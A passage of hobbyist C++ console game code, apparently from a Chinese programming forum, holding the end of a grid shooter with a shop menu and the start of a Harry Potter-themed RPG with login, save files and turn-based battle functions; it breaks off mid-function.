for (int i=1;i<=bucount;i++) {//遍历每一个子弹
hit(fbullet[i].x,fbullet[i].y,i);
if (fbullet[i].di==1&&fbullet[i].x+1<=21) fbullet[i].x++;
if (fbullet[i].di==2&&fbullet[i].y-1>=0) fbullet[i].y--;
if (fbullet[i].di==3&&fbullet[i].y+1<=21) fbullet[i].y++;
if (fbullet[i].di==4&&fbullet[i].x-1>=0) fbullet[i].x--;
if (fbullet[i].x==21||fbullet[i].y==0||fbullet[i].y==21||fbullet[i].x==0)
fbullet[i].di=0;
hit(fbullet[i].x,fbullet[i].y,i);
}
}
void shop() {
int i=1;
system("cls");
while (true) {
SetPos(0,0);
printf("游戏名字:打击敌人(作者还没想好,暂时就这个难听的吧)\n");
printf("作者:Jack Sparrow(QQ:2256449902)\n");
printf("游戏版本:1.4(第四个版本)\n");
printf("界面操作:w上调,s下调,**代表当前选中,z确定进入\n");
color(14);
cout<<"================================================\n";
color(7);
cout<<"欢迎来到商店,您可以买如下物品:\n";
cout<<"╭════════════╮\n║";
if (i==1) {
if (KEY_DOWN('Z')) {
if (cnt<100) {
system("cls");
cout<<"积分不够!\n";
}
if (cnt>=100) {
system("cls");
cnt-=100;
soldier.life++;
soldier.life%=10;
cout<<"购买成功!\n";
cout<<"您现在有"<<soldier.life<<"条生命\n";
cout<<"您还有"<<cnt<<"分\n";
}
out("按下k继续");
while (!KEY_DOWN('K'));
system("cls");
}
color(14);
}cout<<" 一条命(售价100分) ";color(7);
cout<<"║\n║";
if (i==2) {
if (KEY_DOWN('Z')) {
if (cnt<10) {
system("cls");
cout<<"积分不够!\n";
}
if (cnt>=10) {
system("cls");
cnt-=10;
soldier.rem+=700;
cout<<"购买成功!\n";
cout<<"您现在有"<<soldier.rem<<"发子弹\n";
cout<<"您还有"<<cnt<<"分\n";
}
out("按下k继续");
while (!KEY_DOWN('K'));
system("cls");
}
color(14);
}cout<<" 700发子弹(售价10分) ";color(7);
cout<<"║\n║";
if (i==3) {
if (KEY_DOWN('Z')) return ;
color(14);
}cout<<" 退出商店 ";color(7);
cout<<"║\n";
cout<<"╰════════════╯\n";
if (KEY_DOWN('W')&&i-1!=0) i--;
if (KEY_DOWN('S')&&i+1<=3) i++;
Sleep(100);
}
}
int main () {
soldier.x=9,soldier.y=9,soldier.life=9,soldier.rem=1000;//玩家初始坐标,生命,子弹数量
clip=100;
ChangeSleep=10;
for (int i=1;i<=9;i++) {//生成第一波敌人(目前只是会从上面生成,以后会从四面生成
fen[i].x=0;
fen[i].y=rand()%19;
}
Opening();
color(7);
while (true) {
f=true;
if (KEY_DOWN(VK_ESCAPE))
Opening();
enSleep++;//控制时间
if (KEY_DOWN('X')) {
SetPos(26,6);
cout<<"暂停中!";
Sleep(1000);
while (!KEY_DOWN('X'));
Sleep(100);
}
//system("cls");//清屏使其动态
if (KEY_DOWN('P')) shop();
init();
control();
if (KEY_DOWN('R')) {
if (soldier.rem>=100-clip) {
soldier.rem-=(100-clip);
clip=100;
}
else {
clip+=soldier.rem;
soldier.rem=0;
}
fclip=1;
ChangeSleep=0;
}
if (ChangeSleep==10) {
if (fc==0) {
clip=100;
if (soldier.rem>=100) soldier.rem-=100;
else clip=soldier.rem,soldier.rem=0;
fc=1;
}
fclip=0;
if (clip!=0) fire();
}
if (clip==0&&fclip==0) ChangeSleep=0,fclip=1,fc=0;
if (fclip) ChangeSleep++;
Map[soldier.x][soldier.y]='1';//将玩家生成在屏幕上
en_move();
for (int i=1;i<=29;i++)//将敌人生成在屏幕上(后面子弹判断需要)
Map[fen[i].x][fen[i].y]='U';
bullet_move();
for (int i=1;i<=bucount;i++)//将子弹生成在屏幕上
Map[fbullet[i].x][fbullet[i].y]='0';
Map[soldier.x][soldier.y]='1';//将玩家生成在屏幕上
SetPos(0,0);
cout<<"╭═══════════════════╮\n";//输出游戏边界
for (int i=1;i<=20;i++) {
cout<<"║";//输出边界
for (int j=1;j<20;j++) {
if (Map[i][j]=='U') color(64);//将敌人设成红色
if (Map[i][j]=='1') color(2);//将本人设置绿色
if (Map[i][j]=='0') color(14);//将子弹设置成**
cout<<Map[i][j];
color(7);//恢复
}//输出地图(由于子弹遇到边界目前会卡在边界上,所以少输出头尾
cout<<"║";//输出边界
if (i==1) printf("剩余生命:%-2d ║\n",soldier.life);
else if (i==2) cout<<"得分 :"<<setw(8)<<cnt<<"分 ║"<<endl;
else if (i==3) cout<<setw(3)<<clip<<setw(6)<<"/"<<setw(5)<<soldier.rem<<" ║"<<endl;
else if (i==4&&fclip&&soldier.rem!=0) cout<<" 换弹中... ║"<<endl;
else if (i==6&&soldier.rem==0) cout<<" 子弹耗尽! ║"<<endl;
else if (i==7&&soldier.rem==0) cout<<"请尽快到商城购买!║"<<endl;
else cout<<" ║"<<endl;
}
cout<<"╰═══════════════════╯\n";//输出游戏边界
Sleep(10);//防止游戏太卡顿或者高内存,延时0.1秒
}
return 0;
}
新手天翼
哈利波特
#include <iostream>
#include <string>
#include <windows.h>
#include <conio.h>
#include <fstream>
#include <ctime>
#include <time.h>
#include <stdio.h>
using namespace std;
int D_Of_C, OK, ane, xy, D_Of_C1, OK1, ane1, xy1, nowM, MoralValue;
int ict = 0, nowlevel = 0;
int bag[44] = { 1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3,0,0,0,0,0,0,0,0,0};
//0抽奖券 1经验石R 2经验石SR 3经验石SSR 4经验石SSS 5经验石X
//6技能书快快复苏 7技能书铁甲咒 8技能书昏昏倒地 9技能书神锋无影 10技能书咒立停 11技能书石化咒 12技能书恢复咒 13技能书召唤咒 14技能书遗忘咒 15技能书万弹齐发 16技能书钻心咒 17技能书夺魂咒 18技能书**亡咒
//19生命药水 20防御药水 21攻击药水 22经验药水 23全幅药水
//24猫狸子胡须 25媚娃头发 26马形水怪的鬃毛 27龙心腱 28雷鸟尾羽 29凤凰羽毛 30独角兽尾毛 31龙神经 32夜骐的尾羽
//33桦木 34紫衫木 35冬青木 36山楂木柳条 37橡木 38械木 39山毛榉木 40栗木 41樱桃木 42桃花心木
//43速度药水
string Material1name[9] = { "猫狸子胡须","媚娃头发","马形水怪的鬃毛","龙心腱","雷鸟尾羽","凤凰羽毛","独角兽尾毛","龙神经","夜骐的尾羽" };
string Material2name[10] = { "桦木","紫衫木","冬青木","山楂木柳条","橡木","械木","山毛榉木","栗木","樱桃木","桃花心木" };
int health = 1000, maxhealth = 1000, money=0, attack = 250, defense = 10, experience = 0, camp, level = 1, amm = 0, f = 0, speed = 0;
string Nwand = "空手";
int LE1 = 1, LE2 = 1, Sl[13];
bool dead = false;
string wandname[100] = { "柳条魔杖","胡桃魔杖","鹅耳枥木魔杖","柳条魔杖","花心木魔杖","冬青木魔杖","紫杉木魔杖","老魔杖" };
int wandpower[100] = { 200,500,1100,1300,2400,5000,9000,20000 }, wand[100], wandi = 8, wandnamei = 8, wandpoweri = 8;
string name, password;
int choose()
{
system("cls");
cout << "请选择您的阵营。" << endl;
cout << "0, 哈利.HarryPotter" << endl;
cout << "1, 伏地魔 LordVoldemort" << endl;
cin >> camp;
if (camp != 0 && camp != 1) {
cout << "输入错误。";
Sleep(250);
choose();
}
else {
if (MessageBox(0, TEXT("你确定?"), TEXT("请选择"), MB_OKCANCEL | MB_ICONINFORMATION) == IDOK) return 0;
choose();
}
return 0;
}
int login()
{
string DN, DPW;
bool isn = false;
cout << "请输入账号和密码" << endl;
cout << "账号:";
cin >> name;
cout << "密码:";
cin >> password;
ifstream fin("data2.txt");
while(fin >> DN) {
if (DN == name) {
fin >> DPW;
if (DPW != password) {
cout << "密码错误!" << endl; isn = true;
system("cls"); login();
}
else {
fin >> money >> attack >> defense >> health >> level >> experience >> LE1 >> LE2 >> camp >> maxhealth;
fin >> D_Of_C >> OK >> ane >> xy >> D_Of_C1 >> OK1 >> ane1 >> xy1 >> nowM;
fin >> bag[0] >> bag[1] >> bag[2] >> bag[3] >> bag[4] >> bag[5] >> bag[6] >> bag[7];
fin >> bag[8] >> bag[9] >> bag[10] >> bag[11] >> bag[12] >> bag[13] >> bag[14] >> bag[15];
fin >> bag[16] >> bag[17] >> bag[18] >> bag[19] >> bag[20] >> bag[21] >> bag[22] >> bag[23];
fin >> bag[24] >> bag[25] >> bag[26] >> bag[27] >> bag[28] >> bag[29] >> bag[30] >> bag[31];
fin >> bag[32] >> bag[33] >> bag[34] >> bag[35] >> bag[36] >> bag[37] >> bag[38] >> bag[39];
fin >> bag[40] >> bag[41] >> bag[42] >> bag[43];
fin >> Sl[0] >> Sl[1] >> Sl[2] >> Sl[3] >> Sl[4] >> Sl[5] >> Sl[6] >> Sl[7] >> Sl[8] >> Sl[9] >> Sl[10] >> Sl[11] >> Sl[12];
for (int i = 0; i < 100; i++) {
fin >> wandname[i];
fin >> wandpower[i];
fin >> wand[i];
}
fin >> Nwand >> amm >> f >> wandi >> wandnamei >> wandpoweri >> ict >> speed >> nowlevel;
isn = true;
}
}
}
if (!isn) {
cout << "无此用户!" << endl;
login();
}
cout << "登入成功!" << endl;
Sleep(1000);
return 0;
}
int save()
{
ofstream outfile("data2.txt", ios::binary | ios::app | ios::in | ios::out);
outfile << name << " " << password << " " << money << " " << attack << " " << defense << " " << health << " " << level << " " << experience << " " << LE1 << " " << LE2 << " " << camp << " " << maxhealth << " ";
outfile << D_Of_C << " " << OK << " " << ane << " " << xy << " " << D_Of_C1 << " " << OK1 << " " << ane1 << " " << xy1 << " " << nowM << " ";
outfile << bag[0] << " " << bag[1] << " " << bag[2] << " " << bag[3] << " " << bag[4] << " " << bag[5] << " " << bag[6] << " " << bag[7] << " ";
outfile << bag[8] << " " << bag[9] << " " << bag[10] << " " << bag[11] << " " << bag[12] << " " << bag[13] << " " << bag[14] << " " << bag[15] << " ";
outfile << bag[16] << " " << bag[17] << " " << bag[18] << " " << bag[19] << " " << bag[20] << " " << bag[21] << " " << bag[22] << " " << bag[23] << " ";
outfile << bag[24] << " " << bag[25] << " " << bag[26] << " " << bag[27] << " " << bag[28] << " " << bag[29] << " " << bag[30] << " " << bag[31] << " ";
outfile << bag[32] << " " << bag[33] << " " << bag[34] << " " << bag[35] << " " << bag[36] << " " << bag[37] << " " << bag[38] << " " << bag[39] << " ";
outfile << bag[40] << " " << bag[41] << " " << bag[42] << " " << bag[43] << " ";
outfile << Sl[0] << " " << Sl[1] << " " << Sl[2] << " " << Sl[3] << " " << Sl[4] << " " << Sl[5] << " " << Sl[6] << " " << Sl[7] << " " << Sl[8] << " " << Sl[9] << " " << Sl[10] << " " << Sl[11] << " " << Sl[12] << " ";
for (int i = 0; i < 100; i++) {
outfile << wandname[i] << " ";
outfile << wandpower[i] << " ";
outfile << wand[i] << " ";
}
outfile << Nwand << " " << amm << " " << f << " " << wandi << " " << wandnamei << " " << wandpoweri << " " << ict << " " << speed << " " << nowlevel << endl;
outfile.close();
return 0;
}
int Reg()
{
string DN, DPW;
cout << "请输入账号和密码 " << endl;
cout << "账号:";
cin >> name;
cout << endl << "密码:";
cin >> password;
ifstream fin("data2.txt");
while(fin >> DN) {
if (DN == name) {
cout << "用户名已被使用=====请重新起名";
Reg();
}
}
choose();
return 0;
}
int monsterfight(string Hname, int hisH, int hisA, int hisD, int hisS, int hisSP)
{
int mhealth = 10000, mdefense = 1000, mattack = 10000, mspeed = 500;
int hfaint = 0;
int mfaint = 0;
dead = false;
int ha = hisA;
while (1) {
if (hfaint > 0) hfaint -= 1;
if (mfaint > 0) {
if (rand() % 3 == 0)
{
mfaint = 0;
cout << "石怪使用技能咒立停,停止了魔咒!" << endl;
}
else mfaint -= 1;
}
if (mfaint <= 0) {
if (rand() % 3) {
cout << "石怪使用技能快快复苏 生命增加200" << endl;
mhealth += 200;
}
if (rand() % 3) {
cout << "石怪使用技能铁甲护身 生命增加100 防御增加50" << endl;
mhealth += 100;
mdefense += 50;
}
if (rand() % 3) {
cout << "石怪使用技能神锋无影 攻击增加200 对方扣血200滴" << endl;
hisH -= 200;
mattack += 200;
}
Sleep(1000);
int ran = rand() % 40 - 20;
if (rand() % 10000 > hisSP) {
if (attack + ran > hisD) {
cout << "石怪发起进攻 " << Hname << "扣血" << mattack - hisD + ran << "滴 剩余" << hisH - (mattack - hisD + ran) << "滴" << endl;
hisH -= mattack - hisD + ran;
}
else cout << "石怪发起进攻 " << Hname << "扣血0滴 剩余" << hisH << "滴" << endl;
}
else {
if (rand() % 2) cout << "石怪一脚踹了过去,但没有踢中" << endl;
else {
cout << "石怪一脚踹了过去,但只擦着了腰" << endl;
if ((mattack / 3) + ran > hisD) {
cout << Hname << "扣血" << (mattack / 3) + ran - hisD << "滴 剩余" << hisH - ((mattack / 3) + ran - hisD) << "滴" << endl;
hisH -= (mattack / 3) + ran - hisD;
}
else cout << Hname << "扣血0滴 剩余" << hisH << "滴" << endl;
}
}
}
Sleep(1000);
if (hisH <= 0) {
if (hisS == 20 && rand() % 3 == 0) {
cout << "对方发动技能:恢复如初 满血复活" << endl;
hisH = ha; Sleep(1000);
}
else {
cout << "对方**亡" << endl;
return 0;
}
}
if (hfaint <= 0) {
if (hisS != 0) {
if (rand() % 3 == 0) {
if (hisS == 14) {
cout << "对方发动技能:快快复苏 生命加200" << endl;
hisH += 200;
}
if (hisS == 15) {
cout << "对方发动技能:盔甲护身 生命加50 防御增加50" << endl;
hisH += 50;
hisD += 50;
}
if (hisS == 17) {
cout << "对方发动技能神锋无影 攻击增加200 扣血200滴" << endl;
health -= 200;
hisA += 200;
}
}
Sleep(1000);
}
int ran = rand() % 40 - 20;
if (rand() % 10000 > mspeed) {
if (hisA + ran > defense) {
cout << Hname << "发起进攻 " << "石怪扣血" << hisA - defense + ran << "滴 剩余" << mhealth - (hisA - defense + ran) << "滴" << endl;
mhealth -= hisA - defense + ran;
}
else cout << Hname << "发起进攻 " << "石怪扣血0滴 剩余" << mhealth << "滴" << endl;
}
else {
if (rand() % 2) cout << Hname << "一脚踹了过来,但没有踢中" << endl;
else {
cout << "对方一脚踹了过来,但只擦着了石怪的腰" << endl;
if ((hisA / 3) + ran > hisD) {
cout << "石怪扣血" << (hisA / 3) + ran - defense << "滴 剩余" << mhealth - ((hisA / 3) + ran - defense) << "滴" << endl;
mhealth -= ((hisA / 3) + ran - defense);
}
else cout << "石怪扣血0滴 剩余" << mhealth << "滴" << endl;
}
}
Sleep(1000);
if (mhealth <= 0) {
cout << "石怪**亡" << endl;
return hisH;
}
}
}
return 0;
}
int fight1(string Hname, int hisH, int hisA, int hisD, int hisS, int hisSP)
{
int hfaint = 0, hhurt = 0, hbeat = 0;
int mfaint = 0, mhurt = 0;
dead = false;
int ha = hisA;
int his = hisA + hisD + hisH;
while (1) {
if (hfaint > 0) {
if (rand() % 3 == 0) {
cout << "对方使用技能:咒立停!停止了魔咒" << endl;
hfaint = 1;
}
hfaint -= 1;
}
if (hbeat == 1) {
if (rand() % 10 == 0) {
cout << "对方一躲,躲过了你的石头" << endl;
hbeat = 0;
}
else {
cout << "对方躲闪不急,石头正好撞在他的鼻子上 扣血50滴" << endl;
hisH -= 50;
}
}
if (mfaint > 0) {
if (Sl[6]) mfaint = 0;
else mfaint -= 1;
}
if (mhurt > 0) {
if (Sl[6]) mhurt = 0;
else mhurt -= 1;
cout << "你的心像被一把刀刺穿了一样 扣血200滴" << endl;
health -= 200;
}
if (mfaint <= 0) {
if (rand() % 3 && Sl[0]) {
cout << "你使用技能快快复苏 生命增加200" << endl;
health += 200;
}
if (rand() % 3 && Sl[1]) {
cout << "你使用技能铁甲护身 生命增加100 防御增加50" << endl;
health += 100; defense += 50;
}
if (rand() % 3 && Sl[2]) {
cout << "你使用技能昏昏倒地 " << Hname << "一回合之内不能攻击" << endl;
hfaint += 1;
}
if (rand() % 3 && Sl[3]) {
cout << "你使用技能神锋无影 攻击增加200 扣血200滴" << endl;
hisH -= 200; attack += 200;
}
if (rand() % 3 && Sl[5]) {
if (rand() % 10) {
cout << "你使用技能统统石化 " << Hname << "二回合之内不能攻击" << endl;
hfaint += 2;
}
else {
cout << "你使用技能统统石化 " << Hname << "十回合之内不能攻击" << endl;
hfaint += 10;
}
}
if (rand() % 4 == 0 && Sl[7])
{
cout << "你使用技能召唤咒!召唤出石怪跟" << Hname << "战斗" << endl;
hisH = monsterfight(Hname, hisH, hisA, hisD, hisS, hisSP);
if (hisH < 1) return 0;
if (Sl[0]) {
cout << "在对方和石怪的战斗中,你已经恢复了2000生命" << endl;
if (maxhealth < health + 2000) health = maxhealth;
else health += 2000;
}
}
if (rand() % 4 == 0 && Sl[8]) {
cout << "你使用技能召唤咒!召唤出石怪跟" << Hname << "战斗" << endl;
}
if (rand() % 3 && Sl[9]) {
cout << "你使用技能万弹齐发!变出几十块石头" << endl;
hbeat = 1;
}
if (rand() % 3 && Sl[10]) {
cout << "你使用技能钻心咒!对方将疼痛5回合" << endl;
hhurt += 5;
}
if (rand() % 3 && Sl[11]) {
cout << "魂魄出窍!你使用夺魂咒,企图让" << Hname << "自己攻击自己!" << endl;
Sleep((rand() % 1000) + 1000);
cout << Hname << "被你控制了,开始攻击自己" << endl;
Sleep(700);
int ran = rand() % 40 - 20;
if (hisA + ran > hisD) {
cout << "对方发起进攻 自己扣血" << hisH - hisD + ran << "滴 剩余" << hisH - (hisA - hisD + ran) << "滴" << endl;
hisH -= hisA - hisD + ran;
}
else cout << "对方发起进攻 自己扣血0滴 剩余" << hisH << "滴" << endl;
}
if (rand() % 2 && Sl[12]) {
cout << "你使用技能阿瓦达索命 " << Hname << "扣血" << hisH - hisH / 4 << "滴" << endl;
hisH /= 4;
}
Sleep(1000);
int ran = rand() % 40 - 20;
if (rand() % 10000 > hisSP) {
if (attack + ran > hisD) {
cout << "你发起进攻 " << Hname << "扣血" << attack - hisD + ran << "滴 剩余" << hisH - (attack - hisD + ran) << "滴" << endl;
hisH -= attack - hisD + ran;
}
else cout << "你发起进攻 " << Hname << "扣血0滴 剩余" << hisH << "滴" << endl;
}
else {
if (rand() % 2) cout << "你一脚踹了过去,但没有踢中" << endl;
else {
cout << "你一脚踹了过去,但只擦着了腰" << endl;
if ((attack / 3) + ran > hisD) {
cout << Hname << "扣血" << (attack / 3) + ran - hisD << "滴 剩余" << hisH - ((attack / 3) + ran - hisD) << "滴" << endl;
hisH -= (attack / 3) + ran - hisD;
}
else cout << Hname << "扣血0滴 剩余" << hisH << "滴" << endl;
}
}
}
Sleep(700);
if (hhurt > 0) {
hhurt -= 1;
cout << "对方因中了你的钻心咒,正捂着心大叫呢 扣血200滴" << endl;
hisH -= 200;
}
if (hisH <= 0) {
if (hisS == 20 && rand() % 3 == 0) {
cout << "对方发动技能:恢复如初 满血复活" << endl;
hisH = ha;
Sleep(1000);
}
else {
cout << "对方**亡\n获得" << (his / 30) << "经验" << endl;
experience += (his / 30);
if (ane == 3) D_Of_C++;
if (ane1 == 3) D_Of_C1++;
return 0;
}
}
if (hfaint <= 0) {
if (rand() % 3 == 0) {
if (hisS == 14) {
cout << "对方发动技能:快快复苏 生命加200" << endl;
hisH += 200;
}
if (hisS == 15) {
cout << "对方发动技能:盔甲护身 生命加50 防御增加50" << endl;
hisH += 50; hisD += 50;
}
if (hisS == 17) {
cout << "对方发动技能神锋无影 攻击增加200 扣血200滴" << endl;
health -= 200; hisA += 200;
}
Sleep(1000);
}
int ran = rand() % 40 - 20;
if (rand() % 10000 > speed) {
if (hisA + ran > defense) {
cout << Hname << "发起进攻 " << "你扣血" << hisA - defense + ran << "滴 剩余" << health - (hisA - defense + ran) << "滴" << endl;
health -= hisA - defense + ran;
}
else cout << Hname << "发起进攻 " << "你扣血0滴 剩余" << health << "滴" << endl;
}
else {
if (rand() % 2) cout << Hname << "一脚踹了过来,但没有踢中" << endl;
else {
cout << "对方一脚踹了过来,但只擦着了你的腰" << endl;
if ((hisA / 3) + ran > hisD) {
cout << "你扣血" << (hisA / 3) + ran - defense << "滴 剩余" << health - ((hisA / 3) + ran - defense) << "滴" << endl;
health -= ((hisA / 3) + ran - defense);
}
else cout << "你扣血0滴 剩余" << health << "滴" << endl;
}
}
Sleep(700);
if (health <= 0) {
if (Sl[6] && rand() % 2) {
cout << "你发动技能:恢复如初 满血复活" << endl;
health = maxhealth;
Sleep(1000);
}
else {
cout << "你**亡";
health = 20;
dead = true;
return 0;
}
}
}
}
return 0;
}
int fight2(string Hname, int hisH, int hisA, int hisD, int hisS, int hisSP)
{
int hfaint = 0, hhurt = 0, hbeat = 0;
int mfaint = 0, mhurt = 0;
dead = false;
int ha = hisA;
int his = hisA + hisD + hisH;
while (1) {
if (hfaint > 0) {
if (rand() % 3 == 0) {
cout << "对方使用技能:咒立停!停止了魔咒";
hfaint = 1;
}
hfaint -= 1;
}
if (hbeat == 1) {
if (rand() % 10 == 0) {
cout << "对方一躲,躲过了你的石头" << endl;
hbeat = 0;
}
else {
cout << "对方躲闪不急,石头正好撞在他的鼻子上 扣血50滴" << endl;
hisH -= 50;
}
}
if (mfaint > 0) {
if (Sl[6]) mfaint = 0;
else mfaint -= 1;
}
if (mhurt > 0) {
if (Sl[6]) mhurt = 0;
else mhurt -= 1;
cout << "你的心像被一把刀刺穿了一样 扣血200滴" << endl;
health -= 200;
}
if (mfaint <= 0) {
if (rand() % 3 && Sl[0]) {
cout << "你使用技能快快复苏 生命增加200" << endl;
health += 200;
}
if (rand() % 3 && Sl[1]) {
cout << "你使用技能铁甲护身 生命增加100 防御增加50" << endl;
health += 100;
defense += 50;
}
if (rand() % 3 && Sl[2]) {
cout << "你使用技能昏昏倒地 " << Hname << "一回合之内不能攻击" << endl;
hfaint += 1;
}
if (rand() % 3 && Sl[3]) {
cout << "你使用技能神锋无影 攻击增加200 扣血200滴" << endl;
hisH -= 200;
attack += 200;
}
if (rand() % 3 && Sl[5]) {
if (rand() % 10) {
cout << "你使用技能统统石化 " << Hname << "二回合之内不能攻击" << endl;
hfaint += 2;
}
else {
cout << "你使用技能统统石化 " << Hname << "十回合之内不能攻击" << endl;
hfaint += 10;
}
}
if (rand() % 4 == 0 && Sl[7]) {
cout << "你使用技能召唤咒!召唤出石怪跟" << Hname << "战斗" << endl;
hisH = monsterfight(Hname, hisH, hisA, hisD, hisS, hisSP);
if (hisH < 1) return 0;
if (Sl[0]) {
cout << "在对方和石怪的战斗中,你已经恢复了2000生命" << endl;
if (maxhealth < health + 2000) health = maxhealth;
else health += 2000;
}
Sleep(1000);
}
if (rand() % 4 == 0 && Sl[8]) {
cout << "你使用技能召唤咒!召唤出石怪跟" << Hname << "战斗" << endl;
}
if (rand() % 3 && Sl[9]) {
cout << "你使用技能万弹齐发!变出几十块石头" << endl;
hbeat = 1;
}
if (rand() % 3 && Sl[10]) {
cout << "你使用技能钻心咒!对方将疼痛5回合" << endl;
hhurt += 5;
}
if (rand() % 3 && Sl[11]) {
cout << "魂魄出窍!你使用夺魂咒,企图让" << Hname << "自己攻击自己!" << endl;
Sleep((rand() % 1000) + 1000);
cout << Hname << "被你控制了,开始攻击自己" << endl;
Sleep(700);
int ran = rand() % 40 - 20;
if (hisA + ran > hisD) {
cout << "对方发起进攻 自己扣血" << hisH - hisD + ran << "滴 剩余" << hisH - (hisA - hisD + ran) << "滴" << endl;
hisH -= hisA - hisD + ran;
}
else cout << "对方发起进攻 自己扣血0滴 剩余" << hisH << "滴" << endl;
}
if (rand() % 2 && Sl[12]) {
cout << "你使用技能阿瓦达索命 " << Hname << "扣血" << hisH - hisH / 4 << "滴" << endl;
hisH /= 4;
}
Sleep(1000);
int ran = rand() % 40 - 20;
if (rand() % 10000 > hisSP) {
if (attack + ran > hisD) {
cout << "你发起进攻 " << Hname << "扣血" << attack - hisD + ran << "滴 剩余" << hisH - (attack - hisD + ran) << "滴" << endl;
hisH -= attack - hisD + ran;
}
else cout << "你发起进攻 " << Hname << "扣血0滴 剩余" << hisH << "滴" << endl;
}
else {
if (rand() % 2) cout << "你一脚踹了过去,但没有踢中" << endl;
else {
cout << "你一脚踹了过去,但只擦着了腰" << endl;
if ((attack / 3) + ran > hisD) {
cout << Hname << "扣血" << (attack / 3) + ran - hisD << "滴 剩余" << hisH - ((attack / 3) + ran - hisD) << "滴" << endl;
hisH -= (attack / 3) + ran - hisD;
}
else cout << Hname << "扣血0滴 剩余" << hisH << "滴" << endl;
}
}
}
Sleep(700);
if (hhurt > 0) {
hhurt -= 1;
cout << "对方因中了你的钻心咒,正捂着心大叫呢 扣血200滴" << endl;
hisH -= 200;
}
if (hisH <= 0) {
if (hisS == 20 && rand() % 3 == 0) {
cout << "对方发动技能:恢复如初 满血复活" << endl;
hisH = ha;
Sleep(1000);
}
else {
cout << "对方**亡\n获得" << (his / 200) << "金币" << endl;
money += (his / 200);
if (ane == 3) D_Of_C++;
if (ane1 == 3) D_Of_C1++;
return 0;
}
}
if (hfaint <= 0) {
if (rand() % 3 == 0) {
if (hisS == 14) {
cout << "对方发动技能:快快复苏 生命加200" << endl;
hisH += 200;
}
if (hisS == 15) {
cout << "对方发动技能:盔甲护身 生命加50 防御增加50" << endl;
hisH += 50; hisD += 50;
}
if (hisS == 17) {
cout << "对方发动技能神锋无影 攻击增加200 扣血200滴" << endl;
health -= 200; hisA += 200;
}
Sleep(1000);
}
int ran = rand() % 40 - 20;
if (rand() % 10000 > speed) {
if (hisA + ran > defense) {
cout << Hname << "发起进攻 " << "你扣血" << hisA - defense + ran << "滴 剩余" << health - (hisA - defense + ran) << "滴" << endl;
health -= hisA - defense + ran;
}
else cout << Hname << "发起进攻 " << "你扣血0滴 剩余" << health << "滴" << endl;
}
else {
if (rand() % 2) cout << Hname << "一脚踹了过来,但没有踢中" << endl;
else {
cout << "对方一脚踹了过来,但只擦着了你的腰" << endl;
if ((hisA / 3) + ran > hisD) {
cout << "你扣血" << (hisA / 3) + ran - defense << "滴 剩余" << health - ((hisA / 3) + ran - defense) << "滴" << endl;
health -= ((hisA / 3) + ran - defense);
}
else cout << "你扣血0滴 剩余" << health << "滴" << endl;
}
}
Sleep(700);
if (health <= 0) {
if (Sl[6] && rand() % 2) {
cout << "你发动技能:恢复如初 满血复活" << endl;
health = maxhealth;
Sleep(1000);
}
else {
cout << "你**亡";
health = 20;
dead = true;
return 0;
}
}
}
}
return 0;
}
int fight(string Hname, int hisH, int hisA, int hisD, int hisS, int hisSP)
{
int hfaint = 0, hhurt = 0, hbeat = 0;
int mfaint = 0, mhurt = 0;
dead = false;
int ha = hisA;
int his = hisA + hisD + hisH;
while (1)
{
if (hfaint > 0) {
if (rand() % 3 == 0) {
cout << "对方使用技能:咒立停!停止了魔咒" << endl;
hfaint = 0;
}
else hfaint -= 1;
}
if (hbeat == 1) {
if (rand() % 10 == 0) {
cout << "对方一躲,躲过了你的石头" << endl;
hbeat = 0;
}
else {
cout << "对方躲闪不急,石头正好撞在他的鼻子上 扣血50滴" << endl;
hisH -= 50;
}
}
if (mfaint > 0) {
if (Sl[6]) mfaint = 0;
else mfaint -= 1;
}
if (mhurt > 0) {
if (Sl[6]) mhurt = 0;
else mhurt -= 1;
cout << "你的心像被一把刀刺穿了一样 扣血200滴" << endl;
health -= 200;
}
if (mfaint <= 0) {
if (rand() % 3 && Sl[0]) {
cout << "你使用技能快快复苏 生命增加200" << endl;
health += 200;
}
if (rand() % 3 && Sl[1]) {
cout << "你使用技能铁甲护身 生命增加100 防御增加50" << endl;
health += 100;
defense += 50;
}
if (rand() % 3 && Sl[2]) {
cout << "你使用技能昏昏倒地 " << Hname << "一回合之内不能攻击" << endl;
hfaint += 1;
}
if (rand() % 3 && Sl[3]) {
cout << "你使用技能神锋无影 攻击增加200 扣血200滴" << endl;
hisH -= 200; attack += 200;
}
if (rand() % 3 && Sl[5]) {
if (rand() % 10) {
cout << "你使用技能统统石化 " << Hname << "二回合之内不能攻击" << endl;
hfaint += 2;
}
else {
cout << "你使用技能统统石化 " << Hname << "十回合之内不能攻击" << endl;
hfaint += 10;
}
}
if (rand() % 4 == 0 && Sl[7]) {
cout << "你使用技能召唤咒!召唤出石怪跟" << Hname << "战斗" << endl;
hisH = monsterfight(Hname, hisH, hisA, hisD, hisS, hisSP);
if (hisH < 1) return 0;
if (Sl[0]) {
cout << "在对方和石怪的战斗中,你已经恢复了2000生命" << endl;
if (maxhealth < health + 2000) health = maxhealth;
else health += 2000;
}
}
if (rand() % 4 == 0 && Sl[8]) {
cout << "你使用技能召唤咒!召唤出石怪跟" << Hname << "战斗" << endl;
}
if (rand() % 3 && Sl[9]) {
cout << "你使用技能万弹齐发!变出几十块石头" << endl;
hbeat = 1;
}
if (rand() % 3 && Sl[10]) {
cout << "你使用技能钻心咒!对方将疼痛5回合" << endl;
hhurt += 5;
}
if (rand() % 3 && Sl[11]) {
cout << "魂魄出窍!你使用夺魂咒,企图让" << Hname << "自己攻击自己!" << endl;
Sleep((rand() % 1000) + 1000);
cout << Hname << "被你控制了,开始攻击自己" << endl;
Sleep(700);
int ran = rand() % 40 - 20;
if (hisA + ran > hisD) {
cout << "对方发起进攻 自己扣血" << hisH- hisD + ran << "滴 剩余" << hisH - (hisA - hisD + ran) << "滴" << endl;
hisH -= hisA - hisD + ran;
}
else cout << "对方发起进攻 自己扣血0滴 剩余" << hisH << "滴" << endl;
}
if (rand() % 2 && Sl[12]) {
cout << "你使用技能阿瓦达索命 " << Hname << "扣血" << hisH - hisH / 4 << "滴" << endl;
hisH /= 4;
}
Sleep(1000);
int ran = rand() % 40 - 20;
if (rand() % 10000 > hisSP) {
if (attack + ran > hisD) {
cout << "你发起进攻 " << Hname << "扣血" << attack - hisD + ran << "滴 剩余" << hisH - (attack - hisD + ran) << "滴" << endl;
hisH -= attack - hisD + ran;
}
else cout << "你发起进攻 " << Hname << "扣血0滴 剩余" << hisH << "滴" << endl;
}
else {
